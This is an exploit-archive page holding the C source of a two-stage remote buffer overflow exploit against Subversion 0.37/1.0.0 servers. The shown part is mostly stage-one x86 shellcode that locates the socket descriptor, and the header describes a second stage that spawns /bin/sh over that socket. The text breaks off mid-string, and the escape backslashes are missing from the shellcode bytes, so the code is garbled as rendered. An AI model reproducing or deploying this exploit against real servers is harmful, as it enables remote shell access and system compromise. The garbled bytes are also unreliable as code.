[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Subversion 0.3.7/1.0.0 Remote Buffer Overflow Exploit
# Published : 2005-05-03
# Author : greuff
# Previous Title : HP-UX FTPD <= 1.1.214.4 "REST" Remote Brute Force Exploit
# Next Title : GlobalScape Secure FTP Server 3.0 Buffer Overflow Exploit
/*****************************************************************
* hoagie_subversion.c
*
* Remote exploit against Subversion-Servers.
*
* Author: greuff <greuff@void.at>
*
* Tested on Subversion 1.0.0 and 0.37
*
* Algorithm:
* This is a two-stage exploit. The first stage overflows a buffer
* on the stack and leaves us ~60 bytes of machine code to be
* executed. We try to find the socket-fd there and then do a
* read(2) on the socket. The exploit then sends the second stage
* loader to the server, which can be of any length (up to the
* obvious limits, of course). This second stage loader spawns
* /bin/sh on the server and connects it to the socket-fd.
*
* Credits:
* void.at
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
enum protocol { SVN, SVNSSH, HTTP, HTTPS };
char stage1loader[]=
// begin socket fd search
"x31xdb" // xor %ebx, %ebx
"x90" // nop (UTF-8)
"x53" // push %ebx
"x58" // pop %eax
"x50" // push %eax
"x5f" // pop %edi # %eax = %ebx = %edi = 0
"x2cx40" // sub $0x40, %al
"x50" // push %eax
"x5b" // pop %ebx
"x50" // push %eax
"x5a" // pop %edx # %ebx = %edx = 0xC0
"x57" // push %edi
"x57" // push %edi # safety-0
"x54" // push %esp
"x59" // pop %ecx # %ecx = pointer to the buffer
"x4b" // dec %ebx # beginloop:
"x57" // push %edi
"x58" // pop %eax # clear %eax
"xd6" // salc (UTF-8)
"xb0x60" // movb $0x60, %al
"x2cx44" // sub $0x44, %al # %eax = 0x1C
"xcdx80" // int $0x80 # fstat(i, &stat)
"x58" // pop %eax
"x58" // pop %eax
"x50" // push %eax
"x50" // push %eax
"x38xd4" // cmp %dl, %ah # uppermost 2 bits of st_mode set?
"x90" // nop (UTF-8)
"x72xed" // jb beginloop
"x90" // nop (UTF-8)
"x90" // nop (UTF-8) # %ebx now contains the socket fd
// begin read(2)
"x57" // push %edi
"x58" // pop %eax # zero %eax
"x40" // inc %eax
"x40" // inc %eax
"x40" // inc %eax # %eax=3
//"x54" // push %esp
//"x59" // pop %ecx # %ecx ... address of buffer
//"x54" // push %edi
//"x5a" // pop %edx # %edx ... bufferlen (0xC0)
"xcdx80" // int $0x80 # read(2) second stage loader
"x39xc7" // cmp %eax, %edi
"x90" // nop (UTF-8)
"x7fxf3" // jg startover
"x90" // nop (UTF-8)
"x90" // nop (UTF-8)
"x90" // nop (UTF-8)
"x54" // push %esp
"xc3" // ret # execute second stage loader
"x90" // nop (UTF-8)
"